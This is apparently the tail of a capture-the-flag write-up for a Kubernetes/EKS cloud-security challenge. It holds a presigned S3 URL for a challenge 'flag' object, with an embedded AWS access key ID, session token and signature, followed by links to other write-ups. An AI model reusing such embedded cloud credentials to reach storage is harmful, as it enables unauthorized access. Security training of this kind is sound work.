https://challenge-flag-bucket-3ff1ae2.s3.us-west-1.amazonaws.com/flag?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA2AVYNEVM35S7VBEY%2F20240305%2Fus-west-1%2Fs3%2Faws4_request&X-Amz-Date=20240305T084557Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEJH%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLXdlc3QtMSJIMEYCIQC2VC0m3upS5XEYKABN6pfrowL7KTAQD0xZ9%2BJaIEZqzAIhALbxXwRHdZlxl%2FvyWL%2BjSz%2FvZVJ2%2BOn9vpfVafOHoPPpKr4ECIr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNjg4NjU1MjQ2NjgxIgyJGizp0%2FTWbUkyhmcqkgTmW0HCcK68KrCOGyXdCtGczODABS8tmDJj7YG46sRBVqNBsFvln8oAW3sdnUz%2BVIYiDslDTgL%2BjvzUWR4SmfMaXPF3Ws5C6DbC6aTuHAnNmQ6A5TzSmHEUe80KJLqUbMhmwOT%2F7aoJoyHWIpS7SSraJj4UNT6oIlE5l52YHgPxYkrhyc4taGiDzqKY4NVkFSUYZA%2Fx1D96CSdBVpsg1gqv5EOLvKDHDCfY%2Fk27DbKlW1dd1u4yqmokrtP16N4evYbVYnr1iWYsV8vwoATONlr%2BboWyyapNZebFNd6UANXzLml61j%2B1P7G60S5AwqtyzWlqSHEXsKjcawkA2eWvv%2FGz%2Bhcs7Ufaai24WOYOQ8pdGegr6MqeRBbYfziB33gz%2FSJvDdUxDnAx1gPN13JPHmJKo1ThHO3tieYRwEos2aCpOT7AtSbTx0aob9oK4U8nTdej%2FvHR3S%2B0A6QyXg6q%2BpWYsmKDLUg%2FsJ7YfzdSFDCbJnrK%2FJMwQexNmybrKquBVAx1ZF0kU0v6X5BLd5HvicVwrbptlbxwEl74yqStt%2B38RgWK6YEyQGz1QaPYd9ZrslbZOufZfnJm8R09kS%2Bpf12GVt6Rt8h%2FFxvdHhbE9z%2F5UvRX6SKWFpFr7nmQ78sZWswFom5vV8XwnvOI2Yh1%2Bxb3t2rg6jmkozZOYlejqRzxfMGKo9lLX76Toe7%2Frd7UK5Y2zDCktJuvBjqUAaQ1wUbXoeOm24tmu5WNuBtcnz0FkTu2SyCvvQq6NKqZVnmmZHsvQPlq5VyoISmnUOS9jDwW7yYPWsmozHFdRkXviZ097cPbH34wuai3upsugAM8Sw%2FIq67RBKESS3Cqp%2F0ZXEDXd2ZL3ANVTO4zYo3XwNM1BoU8Yb5HEh5TsRQ6UXEXRa%2F9d%2FFcn%2BWhVccVQsNElIQ%3D&X-Amz-Signature=76fcad7fb9811725b660867817faefc92aa701dad6615c01202b4667d379376a

Reference

https://zhuanlan.zhihu.com/p/674205305

https://github.com/Esonhugh/WizEKSClusterGame

https://cloud.tencent.com/developer/article/2371571

https://xz.aliyun.com/t/13192

https://wiki.teamssix.com/cloudnative/kubernetes/wiz-eks-cluster-games-wp.html

https://blog.csdn.net/lady_killer9/article/details/135035425

https://tttang.com/archive/1465/